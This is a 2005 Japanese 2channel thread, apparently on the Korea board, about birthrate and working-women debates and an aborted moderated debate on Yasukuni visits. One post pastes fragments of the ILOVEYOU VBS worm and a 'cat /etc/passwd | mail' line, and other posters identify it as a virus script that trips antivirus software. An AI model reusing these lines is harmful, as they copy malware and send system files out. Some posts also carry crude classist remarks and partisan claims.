　　　　　　ただね、それに甘んずることは、現代社会の居候に堕する生き方を
　　　　　　選択することでもあるんだよ。

>>187
それが中学生ぐらいになるとかわいくなくなるのですよ。
そこで、子供を放任し、仕事に熱中する香具師が出てくるわけです。

それから、進路指導の愚痴をずいぶん聞きましたが、
親が進学に熱心で子供がしらけの例が一番多かったかな？
学力に見合わない学校いっても苦労するのは本人ですね。

それから、一般の人が考えるより貧しい家庭は結構多いですよ。
あの生活見たら、自分が豊かだと実感できますよ。

そうだねぇ、うちんとこに子供生まれたときなんか、ほんと貧乏だったなぁ（藁
給料とりってわけじゃなかったから、毎月決まった収入なかったし、
給料日に社員に払う給料と、毎月の資金繰りで頭一杯だったからなぁ。
出産のときも仕事していて、生まれてしばらくしてから病院いったもんだわ。
３歳の753のときも仕事で、子供と撮った写真の少ないこと（藁

そんなでも、女ってのは強いよなぁと思った。
しっかりひとりで子育てしていたよ。

皆様お疲れさまでした
本スレに結果を貼っておきました

未熟な審判で皆様にご迷惑をかけてしまいすみませんでした
次回、もし機会があればもっとうまいことやりたいと思います
出来れば次回は論者として参加してみたいなとか思ったりして…


それでは、皆さんおやすみなさい

>>190
中小企業は今でもそうでしょうね。
今の会社（私は派遣）は正社員は産休制度充実してますね。
でもここの場合は、子育てより仕事に熱くなってる女性のほうが多いようですね。

>>191
惜しい、開始前にほぼ書いてしまい、もったいないのでちょこちょこ直して
使ったﾆﾀﾞ

>>193
年金払ってるﾆﾀﾞ
そして、できちゃったｹｺｰﾝが3割占める中、家庭を作る踏ん切り付かない優柔不断の
男性陣に言われる筋合いはないﾆﾀﾞ
子供は男女協力しなければできないものなんですが、なんか女人に求めるとこ多いような。
いや、個人的には求められるのはいいんですが。
女には女の特性と役割があると思うから。
ただ、それだけ一方的に押し付けられるとそら不公平だ、と思う女性が増えるのも
自然だと思うわけで。

>>196
いやいやすみません、夜中までありがとうです。
観客席の皆様も遅くまでありがとうございました。




えと、ぐだぐだになってすみません。
だって、普通に圧倒的に有利な状況なんだもん・・
自分、悪役向きなんですよ・・orz

>>198
んまぁ
うちの兄貴からのうけ譲り（あれ？なんだっけ？なんだっけ･･･譲りうけ？違う）
なんですけどね。

+++

リアルタイムでは見てませんが
ログ（？）として見させて頂きました

なんと申しますか･･･言葉が出ません（苦笑
ハン板の深さみたいなのとお二人の知識の深さを覗いたような気がします

すばらしい議論でした

ＧＲ１ ◆2owPbUVnzcさん
堀江罪子 ◆HORIEJOk0Uさん

お疲れ様です

>>196
学際運営委員長 ◆YjCIC1ZJAUさんも審判お勤め
お疲れ様でした

>>191
（　´д｀）　特に性的な問題では、そういったソースの偏りがよくあることなんだ。
　　　　　　　限られた一部の集団や人が多く語り、全体の意見の代表になりがち。
　　　　　　　だから調査する際には全体の７０％以上だったか、このくらいの解答
　　　　　　　率がないと、その結果は信用できないと言われている。

>>194
（　´д｀）　「学歴は仕事や地位や收入を約束するものではない」
　　　　　　　東大総長のこんな寄稿を読んだことがある。

　　　　　　　学歴はあったほうがいいに決まっているが、就職の選択枝を
　　　　　　　広げるためだけのもの。しかも賞味期限というものがある。

　　　　　　　自分や自分の周りを見れば簡単に悟れるものを、親は期待や
　　　　　　　自慢の実現の為に、嘘っぱちを信じてしまうものなのだな。
　　　　　　　親バカとはよくいったものだが、敢えて嘘に流れてはいかんのだ。

>>194
いくつになっても、結局子供はかわいいものらしいですよ。
うちのﾏﾏﾝ、親子丼に三つ葉が乗ってないとかで本気で切れて「女将を呼べい！」
とかいう齢26歳の娘が、未だにかわいく見えて、それが本気で悔しいそうです（藁

>>200
む、嫌味ﾆｶ？
いいです、甘んじて受けます・・orz

>>201
あいよ〜

>>202
いやみじゃありませんよ（汗
正直、羨ましいですよ

本当にお疲れ様です

>>198
（　´д｀）　事実ではある。何ら珍しいことではない。
　　　　　　昔の日本でも、現在の後進国でも、当たり前であった。
　　　　　　というか、今の日本など比較にもならないほどだ。

　　　　　　だが、そのことが、「これは少子化の原因でない」と
　　　　　　言い切れる根拠になりうると思うが、如何か。

（　´д｀）　少し興味を持ってきた。
　　　　　　男女板へ逝ってみるよ…

>>205
何事も深く突き詰めれば面白いものです
そこから進むか、眺めるだけか、何もしないのか

･･･行ってらっさいましﾉｼ

まあ、武士の家庭では、育てるのは母。
教えるのは父、と役割分担があったようだが、これは育児の分担にはならんかなあ。

>>205
がんがれ。

>>202
根本的な認識のズレとして、

私のイメージする働く女性→社会的に意図的に職場に進出する女性

堀江嬢のイメージする働く女性→生活のための共稼ぎ

の違いもあったようですね。

女性の社会進出についての私の見解は、
「社会は変わったのに２０年前と同じ主張をしている」
制度的（法的）にはすでに整備は完了している。
あとはどこが負担するかの問題だと。

それから、教員に限らず、事務員なんかでも、
仕事と家庭をそれぞれが嫌になるといったりきたりする香具師
女性には結構いますよ！

一晩空けたので、堀江嬢はもうこないのかな？

教員の世界は、究極の男女平等が達成されている世界であって、
日本社会全体の職場での男女平等が達成された状態を、
２０年以上前からあらわしているわけで、
ある意味、男女平等な日本社会の将来を暗示していると思います。

それから、左翼ネタ。参考まで。

961 ：ＧＲ１ ◆2owPbUVnzc ：2005/05/14(土) 23:58:15 ID:y/2UJK01
>>958
サヨの最近のターゲットは「若い？女性」です。
カルト宗教の勧誘と一緒ですが、
子育ての相談に乗って、仲間を増やし
怪しい思想を植え付けて母親をサヨに勧誘しようってことですよ。
ついでに将来は子供も・・

働く女性のサークルや勉強会なんかにも進出しているそうです。

962 ：山吹 ◆Ovrdrv3yCQ ：2005/05/15(日) 00:03:19 ID:tHEnumZw
>>961
ああ、成る程。　そりゃやり易いでしょうねぇ。
子供は泣くわ、ダンナは遅いわ、腹に肉はつくわ、で。（って、私のことかい）

憲法9条を唱えていれば、すべて解消しまつ、って香具師ですかｗ

966 ：ＧＲ１ ◆2owPbUVnzc ：2005/05/15(日) 00:13:45 ID:tKMUVBB0
>>962
山吹嬢はたくましいから大丈夫でしょうねｗ
でも、腹の脂肪はだめかもｗ

幼児教育のコツとか、自然食がどうとか言ってるそうです。
あとは、国際結婚の夫婦もターゲットになってるそうです。
東京（２３区）では、結婚する人の１０％が国際結婚だそうで。
在日活動家もサヨに統合されるのは近い？


58 名前：ＧＲ１ ◆2owPbUVnzc 投稿日：2005/05/15(日) 14:15:35 7e2MQ+A/

--途中略---

現在の左翼について

出版関係にいた友人によると、雑誌等の執筆者は狭い業界で、
誰かが元ネタを考えるとそれを孫引きし膨らませ、ブームを作るそうです。
公園デビューとか援助交際、茶髪なんかは、その際たるものだそうです。
で、この執筆者にサヨが多くて、怪しげな理論を構築し、
それを市民団体が実践する。
執筆者はそこに呼ばれて先生扱いとかやってるそうです。
その中で、幼児教育や外国人や働く女性を相手にして、
活動を続けているとのことでした。

保守

久しぶりにﾊﾝﾌｧｲすれ覗いた。少子化ねえ・・。国会とかＴＶとかは堀江嬢のような主張をしてそれなりに説得力あると
思ってたけど、ＧＲ氏の

＞１千万ナイト子供が産めないなど、屁理屈でしかありません。
＞実際の多産系の家庭は貧しいことも多く、それでもやりくりして生活しています。

これももっともなんだよな。結局裕福・貧困の差じゃないんだよ。精子がどっかに使われているんだよ。その原因は・・
やっぱＡＶ大国日本か？ＡＶ取締法・風俗店取締法を作って姦通罪を作って強姦罪を死刑または無期懲役にすれば精子がおさまるべきところに納まるとｗ

ラスカルという人にここにおいでと誘われたのですがいないようですな。お邪魔しました。

>>213
お待たせ〜　ｗ

ある程度教養を備えた人間なら、畜生や貧民みたいな欲望任せの子作りがなかなか出来なくなるんだよ。
子どもを生むからには成人するまで良質な生活水準と教育環境を確保してやりたいと願うのが教養ある親として当然の分別だし、
その為には最低10000000円が必要となるというのであれば、
10000000円を用意できる時までは子どもを作るべきではないという判断に到るのが当然だ。

>>215
それは差別発言ですかｗ

　準備の面では確かにそうですが、
生まれた子供がもともとあまり頭がよくないこともよくあることで、
その場合は子供の能力を見切ってやることも必要かと。
　結局、子供の頭がよければ奨学金などで大学にいけるし、子供どもの頭が悪いから
教育に金がかかるのかと。

＞子どもを生むからには成人するまで良質な生活水準と教育環境を確保してやりたい

は親の願望でしかなく、子育ての究極の目的は

「成人して自活できるように育てられるか」ではないかと。

hosyu

hosyu

hosyu

hosyu

今からハンファイやります〜
レフリー急募！

よろしくです〜。

>>221
誰とやるの？　テーマは？

>>221
がむばってくだはいー（はぁと）

>>222
東洋思想さんと私です。
２人とも東亜+のコテです。

題は「首相は靖国参拝すべきか」

間違えました。age告知

ハングル”ファイト”なんだがなぁ・・・ｗ

>>224
やり尽くしたテーマなんだが。。。
極東でやれば。

はてさてどうなることやら楽しみではある

だな

こんな調子で、本当に始まるﾆｶなぁ・・・

>>227
極東に一対一でできるスレがあったら教えてくださいませ。
そちらに移動します。

東洋思想さんが一対多数になるのを嫌がってまして、他の人が
議論参加しない場所が欲しいんです。

やりつくしたテーマ…は、そうなんでしょうが、議論がこじれましたので…

(=ﾟωﾟ)どきわく

日中韓友好の例があるからな

レフェリーやった経験のある方で
「本日の有志」の方〜・・・・・・？

>>231
勝敗を付けたいの？それとも一対一で意見交換したいの？

ハンファイまだでつか？

>>235
私は勝敗をつける気満々ですよお。

待機。ﾜｸﾃｶ

(=ﾟωﾟ)やればいいでないか。それにｹﾁつけることあるまい！

>>236
めそさん、レフリーなどいかかでしょうかｗ

>>235
レフリーとか言っているから、勝敗つけたいのではないﾆｶ？東洋思想

別スレが盛り上がって、荒らしが来ない今のうちに始めちゃったほうが・・・・

レフリーがいれば始められるんですが、なかなか難しいのかなあ。

レフリーと言うか、司会だ罠。

>>240
漏れは東亜のヘビー住人だからなあｗはん板で募ったほうがいいのでは？

腹へってきた。。。

>>242
　　　　　　,.-‐　"""''''''- 、
　　　／　　　　　　　　 　＼
　　/　　ﾉりﾉレりﾉレﾉ＼　 i
　 i　　ノcニつ　⊂ニュ　ﾐ |　　　
　ﾉ　　|　　<@　 ミ　@ヽ. |　| 　　
　ｲ 　 |　　　　(o_o.　　　 |　| 　　
　ﾉ　　 !　　　ﾉ　u　丶.　 !　ヽ ＜　ふふふふ
　彡　　!　　　 (つ　　 　 !　　ﾐ　
　ﾉ　　　人 　　"　　　 人　　ヽ　　
　ー '''"　　　(((O⊃> 　　"'''ー''
　　　ﾋﾞｼｨｯ　 ＼　　'oヽ
　　　　　　　　　|,,,,,,∧|
　　　　　　　　 /　 ∧ ＼
　　　　　　　／　／　ヽ　ヽ
　　　　　　　ト-<　　　 |_／''┐

飯研で募集かけていいものか…

オィ！お前等！今すぐＮＨＫ教育見てみろ！！
アニメ入ってるゾ！

さっそくか。

>>248
大丈夫だと思うニダｗ

>>244
RX-77安崎さん、レフリーやっていただけませんか？

>>250

　　　　　　　　 し!　　　　　_　　-──　‐- 　　､　 , -─-､　-‐─_ﾉ
　　小 認 そ　　/／￣＞ ´ ￣　　　￣　　｀ヽ　 Y　 ,　 ´　　　　　） 　 認　そ　え
　　学 識 う　 　L_　／　　　　　　　　　　　　　 　 ／　　　　　　　 ヽ　 識　う　　|
　　生 が い　　 / ,'　　　　　　　　　　　　　　　　'　　　　　　　　　　 i　 !?　い　マ
　　ま 許 う　　/.　　　　　　　　　　　　　　　　 /　　　　　　　　　　 く　　　 う　 ジ
　　で さ　　　 l　　　　　　　　　　 ,ｨ/!　　　　/　　 　/l/!,l　　 　 ／厶,
　　だ れ　　 i 　 ,.lrH‐|'|　　　　 /‐!-Lﾊ_　　l　　　 /-!'|/l 　 ／｀'ﾒ､_iヽ
　　よ る　　　l　 | |_|_|_|/|　　　 / /__!__ |/!ﾄi　　　i/　　　 ﾚ　　 /　　 ﾚ､⌒Y⌒ヽ
　　ね の　 　_ゝ|/'　⌒ ､,ヽﾄ､|/i,ノ´⌒、　　ヽﾄ､Ｎ'　　　⌒ ､,ﾉi,ノ´⌒　　　ﾉ!
　　 l　は　　「　　l 　《,;･;》, ）　（　'《,;･;》　　　|　|　|　 《;･,;》, ）　（ '《;･,;》 　　 　　　　　　　　　　ﾘ
　　　　　　　 ヽ　 | 　　　 丿 　ヽ. 　　　　　 ﾉ!　!　|　　　 丿 　ヽ　　　　　　_ﾉ
-┐　　　　,√　　 !　　ノ(（　　.）.)｀ヽ　　　　　ﾘ l 　 !　ノ(（　　.）.)｀ヽ　　　　 ７/
　 ﾚ'⌒ヽ/　!　　　 | ／::::::::::U:::::::::::::＼ _人__人ﾉ_　 i／::::::::::U:::::::::::::::＼　 　 //!
人_,､ノL_,iノ!　　/! ヽヽ:::-┬┬┬--:::「　　　　　 Ｌ_ヽヽ:::-┬┬┬--:::/ u　　ノ/
　　　　　　/　 /　lﾄ､ ＼｀┴┴┴‐.´ ﾉ　　キ　　　 了＼ ｀┴┴┴‐.´/　　　/／
ハ　キ　　{　 /　　　ヽ,ﾄ'iilll/!｀ｈlllllii ）　　モ　　　　|/!　「'iilllllllllll／） _　‐'
ハ　ャ　　 ヽ/　　 r-､‐'　// / |llllll く　　　 |　　　　 ＞ / /lllll／／‐､　　　　／
ハ　ハ　　　 ＞ ／＼＼// / /ヽ_　 !　　 イ　　　 （　 / / ／／　　/　`ｧ-‐ '
ハ　ハ　　　/　/!　　 ヽ　　　 レ'/　ﾉ　　　　　　　　＞　 ' ∠ 　-‐　￣ノヽ　　　/
　　　　　　 {　 i　l　　　 !　　　　/　 フ　　　　　　　/　　　　　-‐　/￣/〉 〈 ＼ /!

>>251
募集かけてくるﾆﾀﾞｗ

>>250
レフリーやってくれませんか？ｗ

ん？俺？

>>252
ＯＫ

>>257
ありがとです〜。
わずかの差で飯研に書きこんじゃった。
訂正していまする。

>>257
8だけあってる。

(=ﾟωﾟ)わくわく

>>258
深夜なのでテンポよくやってね。

ＩＤ確認してくれ・・・

>>258
おいおい、鳥見ろ

>>258
ハン板は安崎コテが多いので気にしないでね。

>>258

　　　　　　　　　　　　　 ,,.. -──-　､,
　 　 　　　　　　　 ,. ‐'":::::::::::::::::　 　....:｀`'-､
　　　　　　　　 ,／:::::::::::::::::::　....::::::::::::::::::::::::ヾ:､　　　　　　,....,
　 　 　 　 　 ／:::::::::::::::　..:::::::::::::::i､::::::::::::::::::::'､':,.　　　 ／　　ヽ
　　　　　　 /:::::::::::　....:::::::::::::::::::::i:::!`､:ﾄ､::::::::::::i i!　　 /　　　　 i
　　　　　　i　　　...::::::|'､ヽ;::::::::::::::|,!:!__ﾘ,,'iヽ::l''､:'､ 　 / 　 　 　/
　 　 　 　 |　..::::::::;:::i!:i ヾ:､ヽ:::::::::| ﾘ , -─ ﾘ　i;il:ヽ, i　　　　/　　　　あはははは〜
　 　 　　　l:::::::::::::::i',i ':i　,メ､ ＼;:l　'ﾞ　　　　`､　!::::/l ...::::::/｀`ヽ
　　　　　　l::ヽ:::::ヽ:i,レ',.ﾞ-‐''''　　　　　　　　　',/'/..::::::::::/ 　　 l'ヽ;､　　こいつ本人だと
　　　　　　 i:::::>､:ヾ,' /　　　　 _,.. -‐'ヾi　　　 ,ﾚ'::::::::::;r':..　　 /　 i_＼
　　　　　 　 i:::i.　`'‐,ゝ　　　 i" 　 　 　 '! ,.‐''" :::::::::::iﾞ::::::::...／.　 ﾉ 'i　　　　信じてるよ
　 　 　 　 　 !::＼　`ヽ　　　　':,　　　　　l{　　 ..:::::／::L,. ‐'":::::;／　 !
　 　 　 　 　 l::::::::`''‐r＼　　　 ヽ.,＿_,.ノィ'‐-‐''"'ｫ‐--,ﾞ弋''''"::::::;.ノ
　　　　 　 　 |::::::::;ｨ:::}､　｀`'''─--､-‐ﾆ┤　＿__ハ,｀''ｰヽ-'=‐''":::
　 　 　 　 　 !::::::/ i:::|､＼　　　　　ヾ´.　i　　ヽ　　 ､''‐-､_:::::::::::::::::　／
　 　 　　　　i:::::/　i:::ハヽ｀''‐､／l＿_＼,|　／　　　 ヽ--､,.ﾆ=‐--‐'"

ありゃりゃ。鳥見てませんでした…

>>263
空を見ろ　宇宙を見ろ　　タロウー

>>258
俗に言う、ニセモノでありますよ
惑わされないでくださいませ

ちなみに、拉致スレも目を通しておいてくれ。

>>266
気にせずどうぞ。
司会勤めますよ

>>269
-=・=-　　　-=・=-

ハンファイですか。
それではレフリーをやりましょうか。

>>269
見ましたｗ

(=ﾟωﾟ)決まりﾆｶ？

レフリーってなにやる人

>>275
時計係

>>273
紫陽花 ◆9I/s/loapE 様、 東洋思想 ◆AVUttoyOvA 様
正式に司会を指名してくださいませ。

>>273
私でよければレフリーしますけど

>>275
手詰まりの時の裁定

どーなのよ？

取り敢えず、両者ともｶﾞﾝﾊﾞﾚ。
草葉の陰から見てる。

(=ﾟωﾟ)決まりﾆｶ！？

>>276
>>279
なるほろ。

いよっ！ご両人！

ルールの確認は？

東洋君がやる気出したみたいだｗワクワク

(=ﾟωﾟ)始まるまで大変すな。ﾊﾝﾌｧｲって。

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-？？？？？？？？-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)

東洋の天地魔闘の構えは鉄壁だ！！

てか、漏れ急いで風呂入ってこよｗ

何時から？

陸奥の旦那、誤爆・・・

東洋ﾀﾝておにゃのこじゃないの?

>>292
ｽｲﾏｾｿ

　　　　 +　　+
　　　　∧＿∧ 　　 +
　　　 （0ﾟ・∀・）　ﾜｸﾜｸ 　+
　　oノ∧つ⊂） 　+　　+
　　(0ﾟ（0ﾟ・∀・）　+　ﾃｶﾃｶ
　　∪（0ﾟ∪ ∪ 　+　　 +
　　 　と＿_）__）

(=ﾟωﾟ)ノおっけー陸奥たま！今回二人が初めてだからなのねん♪

テーマ、
持ち時間、
弁論回数　の同意でファイト開始かな？

なんで、ノートン先生に怒られるの？

>>298
毎度おなじみのウイルススクリプトです。

>>298
ウィルススクリプト貼った奴がいる。

盛り上がってまいりました！

>298
馬鹿が、擬似ウィルスコードを貼り付けたから。
別に害はないので気にしなくてもよろしいかとおもわれます。

>>298
気にするな

しばらく更新してりゃ引っかからなくなるか…

しかし、どちらがどのような論旨をお持ちなのでしょうか。

いちいち、ログの再取得するのめんどいよ。

先生に一時眠ってもらってますけどね（w

(=ﾟωﾟ)紫陽花たまは何処へ？

ギャラリーはこのスレにいればいいんですか？

>>308
あれ・・・・？

>>307
２ｃｈログのフォルダを、除外指定すればよろし。

>>309
はい・・・そうです。

オィ！お前等！ＮＨＫ教育見てみろ！！
サヴァイブが再放送されてるぞ！！

まだ始まってなかったのか。

>>307
ワシもそうするか。

>>305
東洋思想ニムのHPを見る限り、首相参拝否定派ﾆﾀﾞね。
だから、紫陽花ニムはその逆ニカな。

紫陽花さそマダー？

紫陽花どの〜！紫陽花どの〜！

紫陽花 ◆9I/s/loapE氏が　首相は靖国参拝をするべきである

東洋思想 ◆AVUttoyOvA氏が　A級戦犯が合祀されている靖国へ参拝するべきでない

でしたか？＞両氏

紫陽花って時間にルーズなタイプ？

ひょっとしたらウイルススクリプトが
クリテカルヒットしたのかもしれませんね・・・・・
紫陽花様・・・。

(=ﾟωﾟ)せっかくスタジアムととのったのに紫陽花たまが！？はやく！

>>311
これは無効化ｿﾌﾄが効くんジャマイカン？

紫陽花◆9I/s/loapE氏へ　告知　age

>>321
あ…ありえる…

やばい！東洋思想がヤル気なくしそう。。

お流れか？

>>321
だったら本スレにくるんでないの？

紫陽花氏が来ません。

まさか、俺の２６５で傷ついて傷心旅行にでかけたのではなかろうか。
ほら、俺ってナイフだから。

ヒント：風呂

(=ﾟωﾟ)……お流れかぁｶﾅｼｽ

紫陽花氏の最後の書き込みが０時９分か

>>330
狸親父なのか…

ウィルスコードって専ブラでもキクものなのん?

もう少し待つか？

やっと帰宅したらなんと面白いことにｗ

漏れがピンチヒッターになりたいぃ！

759 ：ガガセト ◆rDGuVmz79Q [sage] ：2005/06/23(木) 00:29:52 ID:zaNi3txP
>>757
紫陽花氏が来ないようなので
お互い都合の良い時間を調整して
また来て下さい。

流れた様子

おやおや東亜板のお歴々がこられてますね。

>>335
私、ギコですが効きましたよ。

・・・飯研にて、紫陽花さまの最後の書き込みです。
887 名前： 紫陽花 ◆9I/s/loapE 投稿日： 2005/06/23(木) 00:08:15 ID:pFC/et2x
たびたび失礼。
レフリー偽者でした…

すみません。レフリー募集です〜

ねるぽ　(ﾉД`)ｼｸｼｸ　

流れたのか・・・

>>340
さっきまでバットマンビギンズ観てたニダｗ

(=ﾟωﾟ)ｳﾘのﾜｸﾃｶを返すﾆﾀﾞぁぁぁぁぁぁぁぁ

レフェリーが宣言したモヨリ…

俺、ギコナビだけどウィルス駆除ソフトなんて入れてないからまったく効かなかったよ。

何かつまんないニダ。

紫陽花タソ使えなさ杉。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   ハンファイ無いのか･･･
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

あぁ、、不発ﾆﾀﾞ。。

>341
そですか、さんくす。
のーとんｾﾝｾは働き者だなぁ。

レフリーﾀﾝノーコンテストか試合放棄か正式に宣言した方がいいかも。

もう勝った気でいる東洋思想・・・
不測の事態ということを考えないﾆｶなぁ・・・

回線の不調かもしれないのにねぇ

>>355
・・・羽柴さん？

バーボン？

ビビって逃げたに一極円。

レフリー担当のガガセト氏もおちられましたか？

どこぞのプロバ規制に引っ掛かったのか？

東洋思想がジャッジしてやがるw

レフリー寝たんじゃないのか？　>>342

チンコ小さいィー！

>>358
(=ﾟωﾟ)ノここで参拝派がﾋﾞﾋﾞﾙことはないと思うﾆｶ………

ＮＨＫ教育で今サヴァイブやってるからそれ見とけ。

でも敵前逃亡と取られても仕方ないでしょ

　　　　 )､.＿人＿人__,.イ.､.＿人＿人＿人
　　　＜´ 天狗じゃ、天狗の仕業じゃ！　＞
　　　　⌒ v'⌒ヽr -､＿　 ,r v'⌒ヽr ' ⌒
// // //／::　<　　 ＿,ノ｀' 、ヽ､＿　ノ 　;;;ヽ　 //
///// /::::　　　（y○'）｀ヽ) ( ´（y○'）　 　　;;|　　/
// //,|:::　　　　　（ (　/　　　　ヽ) ）+　　　 　;| /
/ // |:::　 　　　+　 ) ）|~￣￣~.|（ (　　 　 　 ;;;|// ////
/// :|::　　　　 　　（ (||||! i: |||! !| |) ）　 　 　 ;;;|// ///
////|::::　　　　+　　 U | |||| !! !!||| :U　　　;;; ;;;|　///
////|:::::　　　　　　　| |!!||l ll|| !! !!| | 　　　;;;;;;|　////
// / ヽ:::::　　 　 　　| !　|| |　||!!|　　　　;;;;;;/// //
// // ゝ::::::::　:　　　| ｀ー----−'　|＿_／///

他スレまでいって、レフリー探してきて敵前逃亡は考えにくいﾆﾀﾞよ。

>>363
増えてないﾆｶ？
前は禁煙まであと３本だったのに(w

>>368
ｳﾘもそう思うﾆﾀﾞ。

レフリーの最終的な判定は

759 ：ガガセト ◆rDGuVmz79Q [sage] ：2005/06/23(木) 00:29:52 ID:zaNi3txP
>>757
紫陽花氏が来ないようなので
お互い都合の良い時間を調整して
また来て下さい。


どうみてもノーコンテストなわけだが

マサルやノリと同じパターンだな。

(=ﾟωﾟ)初めてﾊﾝﾌｧｲが見られると思ったのに残念ﾆﾀﾞ

じゃあ、ＮＨＫ教育のサヴァイブを夢中で見入ってしまってハングルファイトを失念してしまったに1不可思議円。

ttp://www.geocities.jp/cen_hp/program3.html

これで何とか。>ｳｲﾙｽｺｰﾄﾞ

うっちぃに見入っていたに一円置く

>>369
すまぬ、昔この板で使ってたコテがそのまま残ってた。

きっと、試合開始のゴングに（▼Д▼）を使わなかったからに違いない。

にしても、紫陽花殿の音沙汰がないのが気になるー。

>378
たしかに、なにかあったのだろうか？

実はサヴァイブを見てるに1ペリカ

そして被ったことに気づいたｳﾘ。orz

多分、アレじゃないか、ニ週刊前の俺みたいに電話が掛かってきて、お宅のオヤジが飲み屋でナイフ持って暴れてるとか言われたんじゃないのか？
に1京円。

規制ｷﾀﾜｧ*･゜ﾟ･*:.｡..｡.:*･゜（n‘∀‘)ηﾟ･*:.｡..｡.:*･゜ﾟ･* !!!!!

回線不調だったようだ。

(=ﾟωﾟ)ノきた！！

ｷﾀｰ

ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

眠気に負けてＰＣに凭れ掛っていたりするのかな？

ｷﾀ━ヾ(　 　)ﾉ゛ヾ(　ﾟд)ﾉ゛ヾ(ﾟдﾟ)ﾉ゛ヾ(дﾟ　)ﾉ゛ヾ(　　)ﾉ゛━━!!

ｻｳﾞｧｲﾌﾞ説が正しければ後2分ぐらいで出てくるｗ

アクセス規制だったようで

ﾚﾌﾘｰは寝たし対戦相手も帰った罠。

>>391
志村、来てる　来てる

サヴァイブ説が正しかったか。
サヴァイブが終わって出て来たな。
なんか、回線不調とか良い訳こいてるけどバレバレだな。

すげぇタイミングで規制食らったもんだｗ

何このジャストタイミングの規制

わざわざ新しいプロバに入った様子。

アク禁ウザス！

>>396
自称16歳…IDが「ｳｪｰ」

どっちでもいいニダ
試合汁！　いえ･･･してくださいorz

>>395
chukai.ne.jpが0時18分に規制発動してるからガチ規制かもしれんｗ

(=ﾟωﾟ)ノあく禁かよ！！

串の使い方くらい知っておけよ、低脳！！
と小さい声で呟いてみる。

　　　　　　 l:::l!::::::::::{.:.i　　 〃 /ｉ' l ｌ|.i,　　ﾄ,　l､ﾞ､､　 i,ヾ,　　 ,.i.:.:.:!:::::::::::li:::l
　　　　　 　 !:i!:::::::::::ﾌl　 ､iｌ.{. ｌl!　 l.|l,|ﾞ､ i | ﾞ､ lヾi,i!　l!l　ゝ　　,ｌ_;ﾉ::::::::::::l!::j
　　　　　　　ヾ -‐'´　!　 ! l|l. l,l,,--!l,,l! ヽ!l　 l.|_,,,,ト-ﾊ!　 i,.　' |　ヽ::::::::/:/
　　　　　　　　　　　　l.　l ,.ゝi「!___　l! l　 ﾘ　 l!￣l!ﾞi/ヾ、　!.　 !　　 ｀ ｰ'′
　　　　　　　　　　　　,l､.i 　 ,r＝ﾐ:､　　　' 　 　 ,ニﾐ、　ヽ.}　 l
　　　　　　　　　　 　 lヽ l　:iｌ l,::ii:::}　　　　　　' i:::r;;:ﾞiヾ;　j,r'ヾ
　　　　　　　　　　　　l.　{i. ｀　ﾞｰ''′　　　　 　 ヽ ::ノ　'　'/´ {
　　　　　　　　　 　 　 ヽ. ',　　　　　 　 ,　　　　　　　 　 ノ　ﾉ
　　　　　　　　　　　　　 ｀ヽ　　　　　 　 _　　　　 　 　 / ／
　　　　　　　　　　　　　 　 ,.＼　　　　　ｰ'　　　　 　 ,ｲ´
　　　　　　　　　　　　　／/　.l ヽ、　　　　　　 　 ／ .ﾄヽ
　　　　　　　　　　　 ／　 ｉ　 l　　 i ヽ､ _ _,.　‐' ´　　,'　.jヽ
　　　　　　　　　　 / 　 　 !.　|　､　 　 　 　 　 　 　 ,'　 ,'　 ヽ
　 　 　 　 　 　 　 i　 　 　 i.　l　　｀　　　　　　　　 ,'　 /　 　 ﾞ､
　　　　 　 　 　 　 l　　　､　ｉ　l　　　　　　　　　　 /　/ 　 　 　 ',
.　　　　 　 　 　 　 ｌ　　　ヽ. ｉ. l　　　　　　　　　 /　/　 　 　 　 j
　　　　　　　　　,ｒ'´l　　　　ヽｰ'､　　　　　　 　 / ./ ./　　　 　 ,'ヽ､
　 　 _,. -‐''"￣　　 .i　　 　 i{ ｀j::i'ｰ- ､,,___ _,.r‐-< /　　　　　/　　 ｀ヽ
,ｒ ' ´　　　　　　　 　 i　　　　{`"｀''ｰ-　､:::;;;;;（⌒jﾘ′　　　　/　　　　　 ﾞ､

・・・・まだ始まらないの？

(=ﾟωﾟ)東洋たまいるといいなぁ

>>406
いらっしゃいました・・・！

>>396-397
ｳﾘも去年、被討伐人を突付いてる最中に規制食らったことがあるよ。

そしてレフリーがいなくなったの・・・

紫陽花氏は女か！！
この発言で全てが許せると思う今日この頃。
まぁ、お互いｶﾞﾝﾊﾞﾚ。

(=ﾟωﾟ)………試合前にかなりｷﾚ気味ですなぁ東洋たま

誰か代理レフリーやってホスイニダ！

紫陽花＝＝＝＝＝＝＝＝　おんな

ｷﾀ━━━━━━━(ﾟ∀ﾟ)━━━━━━━ｯ!!

>>411
私的ぼやきですが、どうしてこうも左寄りの人たちは切れやすいのだろうと･･･




東洋氏スミマセンorz

>>411
佐々木小次郎ｖｓ武蔵。佐々木小次郎敗れたりって感じだな。
でも、東洋はいつもあんな感じだからいつものペースだったりもする。

>>414
自分たちが、他者より上位にいると思っているからでは無いﾆｶなぁ。
共産主義の伝統ﾆﾀﾞね。

>>416
イデオロギーｷﾀ━━━(ﾟ∀ﾟ)━━━!!! ってやつですね。

あら？紫陽花氏戻ってる。
アク禁か、コレは不可抗力だろう。

てことはレフリーもアク禁に巻き込まれたか？

>>414
(=ﾟωﾟ)ノでも外国人参政権は二人とも反対みたいﾅﾘ

>>418
いや、お休みになったようです。

>>418
レフリーは就寝

ラスカルが女だというのは嘘だな。

代理レフリーキター！

>>422
女性はオスカｒ（ｔｂｓ

誰かレフェリーやったげたら？
ウリはこの議題だと公平に裁けないｗ

そういえばハン板のコテで顔晒した人っているの？

(=ﾟωﾟ)今回は全員初めてのﾊﾝﾌｧｲかな？

あ、きたｗ

勇気ある滅田ニムにカムサハムニダ。
ウリは、とてもとても・・・

滅田氏がレフェリーなされます。

ﾜｸﾜｸ

>>424
レフェリーｶﾞﾝﾊﾞﾚ！！

ぁーなんか別のハンファイがはじまりそうｗ

(=ﾟωﾟ)東洋たまの反応がなくてｺﾜｽ

ルール違反発言
